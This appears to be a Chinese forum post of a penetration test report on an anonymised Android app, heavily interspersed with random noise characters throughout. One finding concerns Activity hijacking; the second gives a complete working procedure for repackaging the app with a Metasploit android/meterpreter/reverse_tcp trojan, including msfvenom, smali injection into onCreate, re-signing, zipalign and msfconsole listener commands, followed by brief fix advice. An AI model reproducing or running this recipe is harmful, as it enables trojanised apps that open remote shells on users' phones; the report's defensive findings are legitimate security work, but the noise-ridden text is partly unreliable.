, Y7 m2 {/ w6 U# R0 n, n/ f2 ^; e( C ( a) X. R, w+ P1 E

& [9 r% w9 m- N ( H7 M9 h& t' }/ r   4 E( C6 F/ o3 X) W " }% ^) {& F6 Q

4 z, K- S$ b! M5 k+ ?9 k; i* Q4 I! E+ [3 u" g3 E

, o M* y* {* |1 E8 I) S$ W / g7 ?. [/ C; O" I; B: r 2 检测结果                    & [ j3 y. w$ s6 z+ X7 F3 ?" ]" O! O _& q0 |; e0 W1 J) `0 V

' `. l9 Q+ \: A. E# ^; l& k! |4 O/ a

- T1 `. b1 l* B0 W2 b: T : N: e7 N# V. U6 @5 b: W 2.1 某某某 ! F$ ^* P* W! ^0 Q( |! `. n. v ! p; ^- S1 o" U* S( I

$ t' X' r* ?$ ]+ j 2 f% d6 v( g ?

5 ? u) b" X" {. x" W9 R+ @ , W- K# J# x" S; k9 A 2.1.1检测目标 " x8 [4 I$ g% R" p ' X# ?: w" T& N' t1 N4 q h

% p) M9 v: g% q1 _- P- \: y {6 }4 Z; `$ z

- ^( a' }! U+ ^% C; }6 W' w + O8 P9 w2 c) z 目标地址: 某某某某某某APP ( B: P U8 Z8 M3 y+ T" i i( w 4 ]& P+ I6 R, a; p* t6 L! }( e

1 Q4 p: z a5 b5 q # V+ f! ^' o9 W5 E) _; y

) z; Q3 k' [% l+ b9 ~+ Q 5 P* K) ^/ Y0 U* k( e. K* h( e% N- J! U 2.1.2检测结果 " I }: I$ n2 r$ ` 6 m4 Q) U, t7 }$ @

+ n' v% @4 L7 c# ^ / R: u1 M2 g. `" Z

! o' {3 Q; |9 d3 ?" K& p 1 h; o# o, c- B- |7 a 2.1.2.1 ! }9 ~1 H# P3 \- X% E 7 s e: F& K5 g1 C0 }" D# i

( W) j6 U5 N/ I& X, d9 K' t+ H/ I5 c+ R

: f+ l3 H5 [ q" h( i6 S 9 E' i7 p3 Z) E 漏洞链接地址:某某某某某某APP ' }! \( q3 W: ]" P& N9 V, Y/ O% l7 V q* d

" R- d+ Z7 }+ |" b7 b % d ]$ h( [9 j

3 a! p8 c9 v: X4 M6 F + n7 S' u! K7 |" q' X5 }   1 H* Q/ C/ e2 z! j2 |+ E 5 V. x9 W( A3 d4 e2 ]0 O( G* c

" }7 X) f8 p ^+ U2 C& P% Q2 d' f7 i ( R; U3 a) O9 i4 H$ ^/ a: {

: p- }" u# \7 S2 u 8 `) f/ U4 R, q+ {) k 漏洞分析及取证: $ A8 t- N# p5 f! d \# o% b' l3 Y* v

8 Q; |! X7 r1 ]: K; ^0 }# ~ g/ h, ~& R7 ^9 U, Y* O0 w$ ~# z

+ I1 l8 c( }. |1 o( k6 S; O2 k: b' _/ B+ ^+ V                  通过androidkiiler反编译,发现app未进行安全加固, Activity com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: / S8 k1 r: X B, r: [ 0 x" A% W: Y* ~# N5 Y! j

( {1 F: d- r9 G& x1 D0 i ) K! l Q h% w; P1 t

$ |0 Y& w8 M$ @ 4 @, |- B# B m0 l* q, e& s      & f4 y2 ^5 }1 {4 M * j1 J" k& t+ _3 C) D' }

9 u/ b, R% F# F+ }7 A 8 i" @8 I, i# J4 t5 \) v/ E

( S: ~# s7 P7 f1 D . Z" V' u" p' G K; h5 T* e                       6 g# q0 H5 p- }* h- Z* y6 U- t6 ?( D8 j% x; l

: ? x5 e9 d( }6 f7 N, ~- o1 T% G ; d; Z+ o8 e9 d

2 S8 ?& z; v. x6 y: A5 Q % ?0 h% z8 q V$ F2 m( C3 y 6 g( _" b. c; J+ I! y! i ! |2 |+ W0 _6 q1 S8 n: L) j+ k1 f

$ S0 Y7 E* w/ g+ F2 a u! o# M/ k4 N' a4 }' ~

. h! f0 |/ R: _6 W A- u9 K) n0 Q6 O3 U* x( X , f5 i* `0 H* k( n, E% r5 e , i" P1 E, a7 u: J8 E" I

9 s; N0 t/ T. p6 o, ]$ B7 b 9 M! K* x7 J2 a* c

) Y( g, D& h$ o M. V$ u+ [ * K& e2 o: ~# C$ j0 W5 Y ( A- C: [3 Z9 e Y; K: ^! c+ B' R& h& ~

5 v ]2 @* h( z5 e! r ( f+ Q6 ^# i) K" V

0 u9 S& R7 C- [+ P4 q ! O2 |% p0 s. m; h' O$ O$ r/ @ 漏洞危害:高 $ J# ?: u/ M. K% C* t" i- M; T* e# p9 I9 a+ `) X8 g

" i1 Q8 q2 {$ a; M& h# D$ o& a+ V; K+ M6 M8 e8 Q2 H7 g
- [: c9 h; i5 ]" p: E& Z' p4 P$ i1 w- {: ~ 6 \9 i8 V5 Z" q& V* C: {/ e f/ M! J8 \8 ]& l' l; n& M4 Y9 m9 L6 Y" N9 s+ } s! }7 p+ M( x$ x; m8 R1 v" [( Q& }8 i7 p7 b6 b* a7 y% E/ i1 {& E9 f3 Z8 R. z9 Q# Q$ z( i7 V' ^: t" H1 `" @0 c, S: S/ e4 P: Q: F0 p% K/ e/ u2 `" v6 {. B" E. ~7 ]$ g* i& L' U4 Y6 f P4 f% t% P; t& f: \, _9 C: O- f: T$ s( |. S2 @7 b9 `+ n: {. M+ v% H" I- N5 \6 L* X( s$ ]' W5 p% j5 A& J6 W. F C# a' ~/ h) i) y6 y& l. Z6 r' ]; ^; `0 B* F6 v L3 {' p# Z( @& {5 j; [% e7 Q5 N" G! A7 m2 j3 y0 k+ O5 a$ \! a. }- u" `' E4 `3 B4 p3 l5 j+ C- s% g7 Q* q7 B; N: M' n' K$ Y% X4 l2 E& }/ d5 k& C9 A0 t6 v. @- D; L5 i9 G
( Z) ` d, v9 [# Y8 a! \! I# f) o' j- U/ {

4 Q) U1 ^: n" N1 E) A. B8 P4 P ; O2 `/ D6 J* m/ r# }7 M$ f% k' _ 严重程度 6 ^+ E( Y1 X4 O6 h( n , p) Y# T4 O2 k/ e6 N; n. t

! k/ X |* _% X k) L6 S7 @ : E1 V/ @, O- I* o# [2 E; \
: r# n- r. |/ L5 [) t, c; J5 Y H+ C$ z! n; O! ?3 z9 x

1 ]) u# \" N% _ 1 S; P" u l+ u2 T5 V% S 8 k) ?) p+ ^# L" q& X ' _$ }7 D4 j: A1 h. w C6 x. I& v9 N

. _" T0 c/ s& b5 ]9 E ) z7 W: _# k5 [& D' |
" w) J& ^& i4 M d/ g% U6 e- e+ D& }% |/ O3 L% h4 z) h% `7 ^

7 N' H0 K( N7 r2 C4 t 9 S: n4 v* G" \9 }! S" w4 q' c9 ^ $ t4 c- u) D% d, t 4 w! o3 S( {& i

: E2 D3 v" h* y+ M' e( f ; ~" o: _+ O! W3 K1 d5 D* ]/ I
9 b* @5 I4 i# n8 B ' @" W: A! y+ S, A! ^- {

2 w. ]2 c6 @" F' x' z4 O$ G b2 W, y- |& e x0 Q8 | 0 \& m# z( I6 ^ f! M( B# D9 K ) l1 l; p2 t$ }2 Q9 {; l( d5 }: q) W; c

& r. ], Z% ]% f& M4 ^% R - `) ~# R! J0 f/ l! Y% A5 d5 G9 O+ N
+ E% O* I- R$ f- A9 L" j! E4 L' ?6 o3 W" H& t' v9 v

' @4 x- Z9 h% S: o8 ?6 a, \ c! D0 d7 ]/ y   - V/ q5 S6 `9 r& i2 ]) S 0 D& ?+ L' G) \. ]. Z7 y

) f$ a# \" @& c& b _: d 2 j' H" L1 R" o1 d) c* O
7 k. Z; C6 z3 Q* j& y& y$ y' k( n- U; v/ e/ t" h- W# q T3 ?$ B

9 P1 O- H6 z p0 x; i. Y/ A7 q $ [/ ?; }8 g8 `; V! c$ \ 0 A: K# d, U0 A/ C8 C% A( F- F M$ Y 3 d/ I$ S5 B& R6 }. p+ t" X# C

% u( A/ X% ?9 ~# B& V6 {4 R9 [6 N. C% @, \: b" x( T( b
) J0 m: T/ j6 }3 @: I . i/ ^$ O: R' C

! N+ a# e5 S0 }9 Y: z 4 M# q, N, _' a1 D) K# x   7 y5 o7 w: v' V5 E- y 6 B( b& |8 O' h* s; b

/ S0 w- [* w7 b : O( q+ V" |' w, J* v
6 q9 r k- p0 b( c$ |1 f5 w& t - R% Q- x- C! j' d; f* r' a, x
' }; R& p0 a6 s$ a6 b & C4 L$ z F5 t0 q' i" o3 C, Q7 W

+ A0 z8 S4 v* a9 `* J ; b) ^; j0 L& p2 R, Y G   7 D% C* L' b) u) }6 G% M ; e; `, Q4 ~: f, t' Z

$ i$ x" q0 y& A7 {' C 5 ^3 s9 O% r& @+ M" m

3 z- p! W9 ]2 o : o. J A) [2 Q/ {. G! e1 T! q 修复方法:在 APP Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 - d7 I$ [1 A$ r( k( _' J0 C' V9 `' }0 Q! D) h

# l# ]1 {! Y6 L; i! P: l0 W" l4 b+ n) F4 ?! B$ h6 F1 D

& V$ E) ~8 q2 D! U3 C! H- u" ~4 T! A N           4 L( k, X7 [* B1 z9 p4 @ * |! f% j0 A8 l7 C

/ f" s% g N' L # x) ^/ f7 O% x0 R( X

: ^' | ?5 N& W! d W. c6 t, s 7 Y' S- `9 u4 n: e4 Z   ; i9 E* `; D# F4 L* a: C % x- x, E- m x2 k7 M7 [9 B

. m$ z; S% E: I' m- @$ p * _: T, R5 S7 m) W, Q7 g

8 L% X5 j& N$ v7 A( ~* Q8 S ( p% y9 C4 O* _; } 2.1.2.2 2 e$ H9 I+ b( k" ^! k& Q6 G( X ' J9 V" H4 X/ O6 E# n( `- [8 v+ ]

% G% T: m2 A& p0 U v! G ) x8 H, }* @* U' s- ^/ Y

5 g# ^# g. h: A% m; j- D 6 c( M) D3 _9 `1 j 漏洞链接地址:某某某某某某APP ' r3 G( e. f w# L 3 m/ `# }" ~: g Y

; l7 r2 \4 o+ r+ U6 ^6 `1 [0 n) {' g# `

* c) g3 l- b) q/ n. a0 g1 D ! G2 h. ?+ O# L* f- R+ j1 k1 g 漏洞分析及取证: ( J* L' [) V) W3 }$ K( i 8 z& K5 Y4 }+ Z; S6 ~, d

0 h5 B/ j f3 C, {9 q2 P/ d( U v0 z& X; l+ k4 d- T

/ Y5 x0 e1 Y' b; U; v, g% k 6 B' ]6 U1 a1 @1 J, R5 S                  通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: % @/ u& G( y% h' a7 s7 u; S# D# I% ]/ f

8 D, S8 q, n" A# S4 c5 X; h( V8 h2 x1 s/ R

! u7 i0 y. _# v8 {7 C) a& W / M/ ]5 h; q3 j2 I4 G Metasploit 生成木马 apk ( @, M" i: Y6 h: q 9 B8 T. d. L- O

2 H4 b6 z* F0 p 7 f& B+ l. B3 k% }0 i; Q5 z

\/ \* ^" I6 j% X1 x; n ; ]6 G5 s) T. p2 U8 M& P msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk / r: t& r8 z' g2 ` 7 v( \% {% C/ L; c+ W! v: }

3 C/ K9 n, P6 m2 d K 8 ^" J5 F/ O& h" n

# i& Y/ U1 {8 q( n4 W1 M % D! G- V! I& P' ^ 反编译目标apk和木马apk " k$ U# K1 ?; S4 p* w' B0 u ) ^6 g- F$ v5 j9 s

" k& K. j7 k' r P* ? g 0 @+ y% e; k" v: ]4 y; I" [* h' T

# V' b: K9 x3 a , u+ g$ G$ O: g+ x; a( q apktool d target.apk
% o7 P) F! v& e9 d6 ]$ [ , ?8 Y! s+ }! `& a2 G3 f" K apktool d cockhorse.apk
/ _: y9 m, u& v: X" n1 ^- i 1 N: y% h. j# i5 Y. Q

3 ^, y0 C: b7 W# Q5 j, ~$ h9 D, Q$ b& t( s

9 d: m4 X' ^4 z R9 y' A" i% s& L$ `2 H r$ N" @5 m, ^% s2 Q+ r 木马 apk 注入目标 apk 7 n. q$ x; `' a8 b% Y! ^. b3 L 3 I0 M, X: q# h. D: l; t2 d

& C! N. ~9 H% S- Y& e; x8 D1 b& X( n

6 C1 k, p9 w% [ F+ {5 \/ p 2 \/ Z0 v4 ?) x. ^' [- @" x 在目标 apk 反编译生成的文件中找到启动 Activity smali 文件,并在 onCreate()方法中添加如下代码:
1 A! B) `/ V* H- A0 R; l , x. S! T7 h2 `$ v+ Q" ] invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
9 Y- q2 J6 L; k) a* G* e$ n. p) q4 P- M# F2 p& N$ w, G+ K; ]% }- `# X( ~

. ~# `" n' ?* [/ N6 G, i$ E4 C( d1 Q' B5 k

3 F; B' B6 v" g/ [ % ?6 j/ ^" \* Z Z- |) ^! K8 X4 n0 C 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复 - {# U! W/ v* _+ d. | ( Y# r1 c" I/ U

* O6 T6 G3 I3 o" u " C, n' C: F1 r9 T1 S

: r9 u, J" U* }+ ]* a* `5 ]/ P 7 X7 M; A6 z7 C3 `8 Q 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ . e9 d) J: f' O* H; t `- { 4 F) q9 D8 {$ M8 ^+ v+ x; s

' y: z& T7 f6 t9 q! u' ^# q 2 `. }' g4 M" B; F2 u9 l4 e# }

) O; u: h+ @! [5 N5 G! E. U* a' I $ M. I& P* e6 x2 e( d1 @ 回编译生成最终 apk 5 \4 h2 J; G1 }* w : }$ h- A5 Z" m0 _9 p% l

1 f# I3 r! }' F# R. X0 c2 R* T2 G% j: ^6 J% v# g

/ C, r- Z4 Q2 g* g1 m) q( n. H 重新打包 + y- ^9 v6 w+ { f/ u0 Q 3 s" m+ x! M4 o7 e9 i/ J

1 [6 h; [: B. L: l, F6 C, _ " s! D, g6 c" e8 r

1 n, S$ x: e# F, E# p* N9 L 7 [+ @9 p `$ x& b4 E% m7 d! T4 P7 o apktool b -o repackage.apk target_app_floder 8 C6 j/ C* h6 T' M 8 q7 [& ^, R5 J3 c$ X

/ B5 p* ?0 H9 ~) W' K3 m0 q 1 d" H% {( u0 w% s3 u/ \; }

. D/ g( M% `# x. ?5 E % E. H8 p v" }0 J 创建签名文件,有的话可忽略此步骤 6 b4 q* E) E" J* Q! }$ i- J$ r & |# _! b6 k; L/ S* \% \3 u6 |

# d' q+ Q7 P' H( V5 c4 }+ m% b1 S ) {( _1 y; }' |- C( j4 E

/ G$ n5 r! \' ?1 E: D. A% z 7 {% L5 b; I5 }0 V keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                * H$ [1 I5 |. r: N$ P' ^9 Y( t) z b; K, v

% a. }6 X" h; @) _ ! f& D J6 K% b" J, Y

; E5 M; E: ?& A7 G" Z) j( ] i) S- ^. k8 ?4 i9 d/ P; ^ 签名,以下任选其一 : z: D: ^; ]# J9 F' \, [% P4 S. K$ B % b. j- C. I. M6 U% u

" g- q! O6 W3 w) d0 ? 8 d: K" H& L8 y* y. N

. {* `+ Y8 `" l0 L7 f4 m7 b$ e4 c3 ^) Y7 T- ]! c jarsigner 方式 ! S7 _7 d- m1 p; @' X4 `+ J- C' S' l) l

4 o5 y3 b8 e" F' @# f0 M 8 Z: `6 M5 o$ r9 I Y0 ]

) o, K) I3 v# E8 O0 V% i. b; {' }$ g( S( @% u jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname ( E" p X. O: d+ r1 I' j8 J9 R/ F' u E) U" `# v

2 u9 r! b- z+ V( x4 l" q5 a" D' Q. t* B6 v' q4 d3 I$ W

: r$ u) T6 p+ @ Y1 p0 W* B, Y; h! y/ T5 g. { apksigner 方式 5 P% ]" {9 e+ c# A6 u 2 h. N1 u4 o/ X0 S6 J

3 v9 F7 e1 s9 n) l' k i! ^ 6 D4 Q/ X0 K0 l1 m) _' m- b

9 Z" G" |! g- h+ ? 7 T' d" _ ?* i1 D7 S5 X apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk / g2 h% l) ?. X- L 4 j3 l4 y5 @3 t

* P4 Y" F7 J$ V, s4 z! \3 M : m4 T5 W$ H! s3 @

) U6 t1 i* o- F+ [* n " n; Z8 D( c" A# e0 _! t 如需要禁用 v2签名 添加选项--v2-signing-enabled false ( z) I0 v: {& [# g0 m; j& P3 K4 K% G6 c/ l

( y: ^& S+ x# `! g 2 m# [4 y) A3 i4 a; S; C; ]

. I% P' l, U9 q* ^2 W j9 S4 l- D/ D ?8 b' p5 A" ? 验证,以下任选其一 * b. [; M) s+ s5 [ k$ q% @) k% k( N# h1 [

& C( l6 X% _6 [; q # a7 ^- q! H2 a) q+ p

# P; d6 w e! i) L9 |$ I3 T( }' M* s+ ^5 H jarsigner方式 7 W* @! [. H8 [ ]5 o5 ]8 n! G G 9 z7 ^( G* M% J, J

( d- I0 ~* ^8 u% N( n# V3 }1 _* i1 X& w: K' N

' s% a# Z% ]1 S0 a* P5 D 7 M% L' x& [. X$ d. x$ b8 D jarsigner -verify repackaged.apk ! Z$ ~/ ^* p: y+ Z * p2 i# E) _: k2 E

" v: z8 w0 h0 M# ^$ u; g4 h5 U1 g G% b# u1 d

/ W, e% |3 L. c, N" l5 i A! M6 V/ y! M5 v apksigner 方式 ! |' `$ ?( }$ x& ^' @$ {& u0 n5 h 7 ^3 }( ?: }" p

/ @* R# h* f) b 2 K; q( L- s x+ A

% }9 R) f, ~& v * m, P# T7 w2 w8 M7 f apksigner verify -v --print-certs repackaged.apk ) j& J; J# E, E& }* A! `, x- G4 c! Q+ V

* k$ o& g" A5 Z) L" k. C/ w. g6 J E( v2 [

s+ A$ P7 b* C% ^. d3 J8 g# i$ X/ e& d8 S3 t* Y& Q keytool方式 4 r1 I: _0 h Z7 h! e8 J2 e3 t' g- W5 _* f4 |3 _" K& ?0 K

) i( E z4 i' {4 V+ G; _3 G' p7 u ! m9 \' w1 I& G' J4 f! F# D8 @

3 Q2 y6 e9 l A0 g / q" n; B% p3 V& @ keytool -printcert -jarfile repackaged.apk ) P* {" w) E& b+ q# H7 L7 V ' g' }% ]7 Z: w. i$ N

$ R$ H; `! X7 |! U; ? ( Y, K3 T& t8 B' n7 I8 u

0 d" j0 E; h4 r& t$ b z, z# z5 {- @' f% W2 S 对齐 7 X6 L% L; B/ S6 P: D. Y5 P- v: K ; l( B3 A; Z% I- @1 F* X

e4 o7 ?) Z/ s& } - s8 ^: @0 h! r J* Z& p% b, T

( e+ I7 z4 o d, r7 G* ]1 e& F4 b- V/ x, @6 y6 D0 |2 f 字节对齐优化 - V [5 P0 X& m9 ?& q- C. D9 r' ]1 C; N* C. F2 n

: a7 i4 G, P6 g 3 ]0 p f `. `" Y! K) P3 r

$ }6 y! W. Y) c. |$ X& O+ B I6 D9 }8 E8 J& }/ y0 U5 ?4 E zipalign -v 4 repackaged.apk final.apk . Y/ u# G" ^8 f! v9 c% g; v) `5 W0 R $ p6 K+ P; Y+ C

1 V5 {3 r/ D5 M# H% O& a 7 Q! c2 P; o/ P3 K; Z

& i$ I: N0 B8 C( s! B' u * j% [* [% \$ _ B3 t 检查是否对齐 % r9 v- C0 }/ F* A7 w- V6 `9 ?! n5 ~+ p7 p8 E

; M4 K4 ~" Z9 Z& ~* ?, N/ w7 x" i

: J+ S6 z" ?! A " W8 s! }" x$ h+ L& L4 z5 J/ ? zipalign -c -v 4 final.apk % P2 a6 Y9 n& k3 l2 r: G- y9 G `" w! P6 H$ Z

7 k( U5 S) {. V* p( ] * O' ~9 q! O- ^2 U, l+ U$ g

) x$ v8 F8 M/ H9 X( T2 x5 S4 m$ x* G9 S' A$ \ 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 0 {* D! M) f' L 0 F/ r& s% N" ^7 m

8 v( |7 o5 f5 y6 m4 F 9 M! } p+ h9 T" {" v# i) u: j

. G) H8 I' s9 r! [7 ~- Z4 u8 J0 n8 J n$ y( k2 e+ n( }7 r 启动Metasploit控制台,配置参数等待上线 " E2 T4 h& o3 m+ N 0 x- E: K5 Q. _8 Z& c

! q' i: d8 V2 t2 s5 g9 r2 a' \' ]) r/ Z. b; G+ u) ~5 D0 H+ l

3 [+ y: H- i6 N2 U9 o7 ^ 4 U( W8 `! s: g) Z) _ 在终端依次输入如下命令 / {4 b l# e9 u % w1 G. F8 U* J+ L- p

) J$ w; n# g# ?9 z 6 J+ c! I: r4 ?7 V# @

7 I9 }1 Y1 e3 s4 u- y# q2 \9 q) A , C& x; a O3 m$ g msfconsole # X4 s0 A/ _7 Z% l! p( ?4 x3 L+ J$ \2 ^$ w0 x& J% k: L

. w. j1 _7 Z5 d% ^" O B, [" Z( H) h7 B4 p0 U

2 g/ ~. m0 ~/ J8 l0 ]7 H4 P - c. ]; Y6 y. r7 P use exploit/multi/handler 8 T6 q# U! P3 n6 x, v, N0 M: k- {# f' s

2 p8 X2 N" b! X. ^9 { ) w" }+ d4 k2 B

3 n3 o6 s) Q! u- G ( T2 a, W9 y# ~2 d! m/ D2 ?3 c. s' ? set PAYLOAD android/meterpreter/reverse_tcp $ c g% [! \, p0 h" O) f1 c$ I

( A& R# e" J0 v5 U. c* C& Y* V, S& o$ b1 k% C

2 l+ b4 @. J3 B0 d0 [( K8 _$ b6 I ) @4 C" I3 U. k' P' Q- M! _* C2 j1 \. f set LHOST 192.xxx.xx.xx * @# T; n! L! u% ^* M+ v7 |7 s. o2 N' x% u9 j. u

* g6 K. ^( _, ~. {2 ]' ] 5 Y0 t/ `% h& \( V

5 O! O# C) ^2 F( Z ! o; z$ ^8 {6 w set LPORT 4444 ' n( Q$ ]8 A: w Y' d5 R; @( l7 e( t) ]) i

3 u. G! Z# I! e8 W, c1 f) G : n9 l+ P; t" Y

+ E2 c3 i0 v$ W3 k 7 l' S% J' l" ?5 j- f% Z: S/ G exploit $ U( A) I, J. ]1 j: f ?* A1 J' H" p7 m- g- z/ N

1 l" M) D! }# W6 a' P% z . Q3 I0 ?) a+ t3 ^0 f

6 R/ U: n2 Z3 `$ H5 I4 q2 } , N: c% L( _3 b 之前我们把入口放在 MainActivity onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:               ! A5 x# ^. m" B 3 X1 z6 l$ C: U- ^

: ~, W8 f2 h$ ^2 ~% Z4 D# m9 w& J1 I1 L8 _. e, j6 X% o# Q

$ |# V: R: @/ ~* h : M: n5 C6 z6 ~6 L" n7 w. e0 N7 g# s 漏洞危害:中 3 R9 B; f; b* o( t+ `! @# y! _ 4 h2 b5 c! p) N/ s; n, r

9 p/ p, c+ E# N5 B% h4 R. a0 Q2 i- P
, g' h4 |8 b7 s& L) _" A; B % {9 a7 Q0 h+ p 6 u6 \$ a/ b" w7 R) T ; u- M }+ }. I1 B; V ; [% x8 f+ x0 @7 b$ ~( T* V! P3 }# ~' s" I# v5 P& Y. d# ]1 J6 q8 y( M$ L5 b/ Y! G/ K d2 [- M" y/ f! e; T4 H- P" Z3 G$ F' u9 \ S6 }1 c0 K1 n: N1 g) ~% v& t* e' I' t4 v3 J1 V) Q) x1 R) l, ~; h: ^) X) S; \$ S8 K D3 J8 K5 T& n' U9 y* r9 N( \- Z8 s; Z: P3 o& C$ C9 _2 R5 N2 i% ~6 H' [/ ]- o3 e6 n# H1 U( s' N3 ~. A, `' ^! W2 S. N9 |& f& C9 z4 q8 g# c8 m9 B7 o [1 }( c! l3 j5 y% N. `! i) O& G9 o7 [3 t$ t1 l, e0 C1 G2 }' G1 U& k6 g d0 T) w' P* \1 y8 o% H5 d+ C5 `, z c1 U9 g1 |( i4 A4 j3 Z+ `+ q% O. @' S" e8 Q+ H' W" Y1 o8 |; _( F# q6 s+ _2 u. r* {) l k( x8 a; g6 @6 |
2 V7 ?- j) {$ s" _/ T . @5 i. L2 q1 A- F7 N

* a/ ?; H- s6 D/ F$ X+ W ' ^" T" |' c% L- K, V i5 {. W 严重程度 8 M/ j6 }# \# j# m! H E 6 r" q* Z5 Y( k1 l- M0 C. J% z

0 r4 t' g- r3 P5 g7 l3 m- Y v) F4 }( @9 K# O; U
6 ?: p1 S+ q, K- ~. v. g5 t6 C2 O1 R! ?

( }1 P- m$ |3 k2 v1 q( L# c9 I. ]4 ^0 B$ { % t$ T9 k( \3 L8 b3 F- y 1 W/ ]. [. \8 E3 I; |; }0 D# M1 b* X

: b: q& p5 R9 G% z, O3 y6 G* |0 L& |$ N' c* u
* p O6 J$ {& b7 {% v w7 u! Y6 \% B9 }# S: j7 ^

( {/ H- N& _" ~/ M; B$ _3 ^0 ?8 K6 q. |) r, ]1 H 0 v4 Z% |1 m. s, @ w0 R2 J3 d : r2 S1 n7 T6 B+ ~7 q C* {

' p# c8 s9 h: S3 s. u9 j( ?# W+ h 1 Y8 @" F* h' b. H2 a9 ^. u
. x+ B% L8 X3 V+ c& s, R) B- Y) C& Q' C$ U3 K/ H& a

6 g4 U: h, O# g2 k5 b- a! ~9 k! q0 k6 M# m 3 d0 J& a/ d1 X% J) n - c' u7 ^) h. m- @0 Z

% X \. w- A T( S2 z5 a, c# r z9 f( V6 v! q
8 }$ m* Z( j2 W7 A/ l4 e3 Y) [7 m; n! Q1 k9 {. U - @* p2 F. s, {: f( q0 D" F: T( j/ B4 P

: y0 E0 e" {6 O: z s 3 I. B/ B5 \' x! f; {+ Q3 L$ r   5 E# p+ F( V' g2 @ |9 c9 ~+ @% I ; I# J. m$ t" T

8 S+ J" f* \& C" g, [# H; b4 ~; L* f7 ?1 T
6 v# e0 A7 x2 M) e2 D* M9 A! A4 X5 P' W) p% T/ L% Z

" R) T& ^' ^4 M8 G A/ A6 ~0 z8 x$ I+ F9 Y' |; \1 W! T$ D: W2 C 3 G4 x2 Y* ]7 Z8 ^7 Z v" z$ w2 m: w2 v Z# e. o- n

/ m. K# o1 N- w" E 3 z( c% O# z N
5 X/ ~( N; m! Y$ O6 E* P' y6 @! g: r# l % g9 t. C) Q* t, ^( g4 K& D2 Q" Z2 ~# h4 F# N$ ?

" g; {4 }8 n' U Q4 s$ [; a% L u' s! [& n; E   6 y; @7 q' Q, F* O6 | * j1 c7 q$ g( p' X

. d. j6 D$ u; L# H9 G7 {6 |% h 3 l& n; c5 @% Z
* B- Q" c8 z$ G) T3 j+ _- u 0 J. C9 d9 ]0 @: B4 R. y
J) [* B" O7 e9 ]+ M % M) I$ {! }& P

" M. X; X3 z! F! G/ L/ s ) J; Q8 a' |; T8 _ z+ k/ w   7 W3 S) e0 o9 n) X1 ? . ~! p! a, d O" o" Z

5 f, `- k: ~) l! C ! Q. ]8 }9 {$ D% W( l

' Y) B' B2 \/ e5 ]& c9 b- z! l+ s3 O7 V 修复方法: / O% V4 N! a2 @. T1 Z 6 r5 W8 B& d1 v7 X& n3 }

5 v& m* }0 V& F0 A5 D ( Y& e9 u3 w+ q; L; k7 g# Z+ c

1 N0 J( l+ A# Q3 C1 x' E / T# J9 y6 @) a' S               1. APP 启动时应做签名校验防止二次打包。
$ r* y# q8 S1 i' ^ T% C" Y ; ], K" r+ c! w: V! z' @ 2.
建议采用客户端、通信和服务器端联动防御方案进行安全防御。 ; j9 h8 C# A) Q# B - ?# z1 C9 [2 E* P* z5 }

8 F5 |/ c+ n! t+ Y , T1 m7 z1 O F. D2 u N2 V8 p% } , z r" q& X$ a ! |, h h+ R$ }% W8 R% m% F3 I

3 e; D+ l7 x9 L& S / d' \2 Z. k* g4 U8 a' J# X   6 V. O4 K8 L- C g& _ ) c) v+ o$ V# l6 K" ?& T7 H

7 ^; ^+ V) [' C" a! d- @ . R$ }& ]3 R$ f 8 k3 F. w( _. g( c) W6 n # y+ E R8 @9 H! y: W! [& ^. s

, s# V( G5 ?5 d9 T+ p/ } ) U9 ~8 F# s9 t$ J
4 U2 C- K' \+ z 4 N+ |2 E) F! S) x

+ U: A" U, J) g) Q& t& u. N1 W) o/ o+ V 5 a- N+ ^7 I( g1 b6 H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表